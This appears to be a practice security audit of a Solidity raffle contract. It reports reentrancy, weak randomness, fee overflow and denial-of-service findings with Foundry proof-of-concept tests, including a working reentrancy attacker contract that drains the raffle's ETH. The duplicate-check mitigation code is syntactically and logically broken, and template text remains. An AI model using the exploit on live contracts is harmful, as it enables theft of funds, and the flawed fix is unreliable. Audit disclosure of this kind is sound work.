Puppy Raffle Audit Report

Prepared by Pluton

Version 1.0

Lead Auditor

Herman Effendi

July 30, 2024

Table of Contents

Protocol Summary

Protocol does X, Y, Z

Disclaimer

The SECGUILD team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
--- PuppyRaffle.sol
```

Roles

- Owner: The only one who can change the feeAddress, denominated by the _owner variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the feeAddress variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the players array.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	4
Low	0
Info	8
Total	15

Findings

High

[H-1] Reentrancy Attack found in `PuppleRaffle::refund`, allowing attacker to steal the contract balance

Description

The `PuppleRaffle::refund` function is vulnerable to reentrancy due to its current design, potentially allowing an attacker to exploit the contract's state before executing the necessary state changes.

in the `PuppleRaffle::refund` function, we know that the function doing external call and then change the statement of contract.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

@>   payable(msg.sender).sendValue(entranceFee);

@>   players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have fallback/receive function to exploit the contract after player doing. Fallback/receive will execute recursively before state of the contract change and automatically steal all of ether.

Impact

In the worst-case scenario, an attacker could drain the entire ETH balance of the contract if successful, leading to a loss of all funds held by the `PuppleRaffle` contract.

Vulnerability Explanation

The refund function allows a player to withdraw their entrance fee (`entranceFee`) by sending ETH back to `msg.sender`. However, this function does not follow the Checks-Effects-Interactions (CEI) pattern, which is crucial in preventing reentrancy attacks. After sending ETH (`sendValue`), the function changes the contract state (`players[playerIndex] = address(0);`). This sequence of operations allows an attacker to recursively call back into the contract before the state is updated, potentially stealing more ETH than they are entitled to.

Proof of Concepts

Code

```

Contract PuppyRaffleTest is Test {
    ...
    modifier playersEntered() {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        _;
    }

    function test_reentrancyRefund() public playersEntered {
        AttackerReentrancy attackerContract = new AttackerReentrancy(
            puppyRaffle);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).
            balance;

        console.log("starting attack contract balance : ",
            startingAttackContractBalance);
        console.log("starting puppy raffle balance : ",
            startingPuppyRaffleBalance);

        attackerContract.attack{value: entranceFee}();

        uint256 endingAttackContractBalance = address(attackerContract)
            .balance;
        uint256 endingPuppyRaffleBalance = address(puppyRaffle).balance
            ;

        console.log("ending attack contract balance : ",
            endingAttackContractBalance);
        console.log("ending puppy raffle balance : ",
            endingPuppyRaffleBalance);
    }

}

contract AttackerReentrancy {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee ;
    uint256 attackerIndex;

    constructor(PuppyRaffle puppyRuffle_){
        puppyRaffle = puppyRuffle_;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory addressContract = new address[](1);
        addressContract[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(addressContract);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if(address(puppyRaffle).balance > 0){
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable{
        _stealMoney();
    }

    receive() external payable{
        _stealMoney();
    }
}
```

Recommended mitigation

To avoid this problem, there are many ways such as using CEI pattern, using openzeppelin contract `ReentrancyGuard` as well, but i just show you how to implement CEI pattern for function `PuppleRaffle::refund`.

Before :

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

    payable(msg.sender).sendValue(entranceFee);

    players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

After :

```
function refund(uint256 playerIndex) public {
    // Check
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");

    // Effect
    players[playerIndex] = address(0);

    // Interact
    payable(msg.sender).sendValue(entranceFee);
    emit RaffleRefunded(playerAddress);
}
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to set up become winner

Description

There are codes that associate with the problem in `PuppyRaffle::selectWinner`.

```
function selectWinner() external {
    uint256 winnerIndex =
        uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
            block.difficulty))) % players.length;
}
```

Hashing the `msg.sender`, `block.timestamp`, and `block.difficulty` together created a final number that easily to predict. A number which can be predicted is not good enough for random number generation. Malicious users can manipulate this number to choose the winner of the raffle.

Impact

Any users can choose the winner of raffle, winning the money and selecting the rarest puppy, essentially making it such that all puppies have th same rarity, since you can choose the puppy

Proof of Concepts

There are a few attack vectors here. 1. Validators can know ahead of time the block.timestamp and block.difficulty and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here. block.difficulty was recently replaced with prevrandao. 2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Recommended mitigation

Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Math overflow in `PuppyRaffle::selectWinner` can make the contract losing the balance of total fees

Description

In solidity prior of 0.8.0, aritmathic operation not checked for underflow or overflow. If underflow of overflow happen, result operation may not revert and automatically reset to zero or total result modulo max of type data. In PuppyRaffle contract, i found the operation can make the operation is overflow, there are

```
    `uint64` totalfees = 0;
    ...
    uint256 fee = (totalAmountCollected * 20) / 100;
@>  totalFees = totalFees + uint64(fee);
```

Let we have `totalFees = 10e18` and then we have added fees

Code

```
totalFees = totalFees   +   uint64(fee)
            // 10e18    +   10e18
totalFees
// output   :   1_553_255_926_290_448_384
// actually :  20_000_000_000_000_000_000
```

Because of this, we also not be able to withdraw fees due to value of `totalFees` is less than `address(this).balance` (supposed to same). Let's see in `PuppyRaffle::withdrawFees`:

Code

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact

Because of math overflow happen, so we will automatically losing total of balance fee and the total balance fees will reset into 0 or be modulo with type(uint64).max

Proof of Concepts

Let's dive into the scenario : 1. We have 50 players entered and let's say the game is over. It can impact to change the `totalFees` is `10e18` (20% of 50 ether). 2. After that, we just repeat first scenario, actual `totalFees` is supposed to `20e18`. 3. eventually, `totalFees` is not `20e18` but `1.5e18`

Code

```
function test_arithmeticOverflow() public {
    // first scenario
    uint length = 50;
    address[] memory players1 = new address[](length);
    for (uint i = 0; i < length; i++) {
        players1[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * length}(players1);
```

```

        vm.warp(block.timestamp + duration + 1);
        puppyRaffle.selectWinner();

        uint256 expectedTotalFees1 = entranceFee * length * 20 / 100;
        uint64 actualTotalFees1 = puppyRaffle.totalFees();

        assertEq(expectedTotalFees1, actualTotalFees1);

        // second scenario
        address[] memory players2 = new address[](length);
        for (uint i = 0; i < length; i++) {
            players2[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * length}(players2);

        vm.warp(block.timestamp + duration + 1);
        puppyRaffle.selectWinner();

        uint256 expectedTotalFees2 = expectedTotalFees1 + (entranceFee *
            length * 20 / 100);
        uint64 actualTotalFees2 = puppyRaffle.totalFees();

        assertNotEq(expectedTotalFees2, actualTotalFees2);
        //      20000000000000000000, 1553255926290448384

        vm.expectRevert("PuppyRaffle: There are currently players active!"
            );
        puppyRaffle.withdrawFees();
    }
```

Recommended mitigation

To prevent this situation, it must be changed type data of `totalFees` from `uint64` to `uint256` to avoid overflow operation. And also use solidity version 0.8.0 or higher because on those version, every operation underflow and overflow will be reverted.

Medium

[M-1] Looping through the players array to check for duplicate in `PuppleRuffle::enterRaffle` could potentially lead to Denial of Service (DoS) attack, increasing gas cost in the future

Description

The `PuppleRuffle::enterRaffle` function includes a duplicate checking mechanism that loops through the `players` array. As the array lengthens, the increasing number of iterations required for duplicate checks can result in higher gas costs. Consequently, `players` who enter earlier may incur lower gas costs compared to those who enter later

Impact

The impact is two-fold. 1. The gas cost for raffle entrants will greatly increase as more players enter the raffle 2. Front running opportunities are created for malicious user to increase gas cost of other user, so their transaction fails.

Proof of Concepts

If we have 2 sets of scenario for entrance the ruffle, first set contain 100 player as well as second set. - First scenario : 6252041 - Second scenario : 18068131

This due to the for loop in the `PuppleRuffle::enterRaffle` function :

```
for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
                    player");
            }
        }
```

Proof of code

Place following test into `PuppleRuffleTest.t.sol`

```
function test_denialOfServices() public {
        uint256 playersNum = 100;
        address[] memory playersAddress = new address[](playersNum);
        for(uint256 i; i<playersNum; i++){
            playersAddress[i] = address(i);
        }

        vm.txGasPrice(1);
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersAddress.
            length}(playersAddress);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = ((gasStart - gasEnd) * tx.gasprice);

        uint256 playersNumTwo = 100;
        address[] memory playersAddressTwo = new address[](playersNumTwo)
            ;
        for(uint256 i; i<playersNumTwo; i++){
            playersAddressTwo[i] = address(i + playersNumTwo);
        }

        vm.txGasPrice(1);
        uint256 gasStartTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersAddressTwo.length}(playersAddressTwo);
        uint256 gasEndTwo = gasleft();
        uint256 gasUsedSecond = ((gasStartTwo - gasEndTwo) * tx.gasprice);

        console.log("gas used first 100 players ", gasUsedFirst);
        console.log("gas used second 100 players ", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended mitigation

There are a few recommendations.

1. consider allowing duplicates. Users can make a new wallet addresess anyways. so a duplicate checking doesn't prevent the same person from entering raffle multiple times.
2. Consider using a mapping to check for duplicates. This allow constant time lookup of whether a user has already entered.

```
+   mappings(address => bool) playersMappings;

    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           playersMappings[newPlayers[i]] = true;
        }

-       for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-           }
-       }
+       for (uint256 i = 0; i < players.length; i++){
+           require(playerMappings[i] == true, "Duplicate players");
+       }
        emit RaffleEnter(newPlayers);
    }
```

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawl

Description

The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals to `address(this).balance` may have vulnerability. Since this contract doesn't have receive or fallback function, you'd think the `address(this).balance` untouched from those function. Other hand, `selfdestruct` can reach this position.

```
    function withdrawFees() external {
        // @audit mishandling ETH
@>      require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

Impact

This would prevent the `feeAddress` to withdraw fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawl by sending fees.

Proof of Concepts

1. `PuppyRaffle` has 800 wei in it's balance as well as totalFees.
2. Malicious user sends 1 wei via a selfdestruct.
3. `feeAddress` is no longer able to withdraw funds.

Recommended mitigation

Remove the balance check on the `PuppyRaffle::withdrawFees`

```
function withdrawFees() external {
-      require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description

In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        ...
@>      totalFees = totalFees + uint64(fee);
        ...
    }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value

Impact

This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concepts

1. Araffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the fee as a uint64 hits
3. totalFees is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// output : 0
```

Recommended mitigation

Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-    uint64 public totalFees = 0;
+    uint256 public totalFees = 0;

function selectWinner() external {
        ...
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
        ...
    }
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Informational

[I-1] Floating pragmas

Description: Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to uninteded results.

https://swcregistry.io/docs/SWC-103/

Recommended Mitigation: Lock up pragma versions.

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-2] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called "magic numbers".

Recommended Mitigation: Replace all magic numbers with constants.

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected *
            PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
            TOTAL_PERCENTAGE;
```

[I-3] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
| File                               | % Lines        | % Statements
   | % Branches      | % Funcs       |
| ---------------------------------- | -------------- | --------------
   | -------------- | ------------- |
| script/DeployPuppyRaffle.sol       | 0.00% (0/3)    | 0.00% (0/4)
   | 100.00% (0/0)  | 0.00% (0/1)   |
| src/PuppyRaffle.sol                | 82.46% (47/57) | 83.75% (67/80)
   | 66.67% (20/30) | 77.78% (7/9)  |
| test/auditTests/ProofOfCodes.t.sol | 100.00% (7/7)  | 100.00% (8/8)
   | 50.00% (1/2)   | 100.00% (2/2) |
| Total                              | 80.60% (54/67) | 81.52% (75/92)
   | 65.62% (21/32) | 75.00% (9/12) |
```

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-4] Zero address validation

Description: The `PuppyRaffle` contract does not validate that the `feeAddress` is not the zero address. This means that the `feeAddress` could be set to the zero address, and fees would be lost.

```
PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/
   PuppyRaffle.sol#57) lacks a zero-check on :
                - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.
   sol#165) lacks a zero-check on :
```

```
                 - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

Recommended Mitigation: Add a zero address check whenever the `feeAddress` is updated.

[I-5] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[I-6] Unchanged variables should be constant or immutable

Constant Instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be
    constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

[I-7] Potentially erroneous active player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-8] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

Gas

// TODO

- `getActivePlayerIndex` returning 0. Is it the player at index 0? Or is it invalid.
- MEV with the refund function.
- MEV with withdrawfees
- randomness for rarity issue
- reentrancy puppy raffle before safemint (it looks ok actually, potentially informational)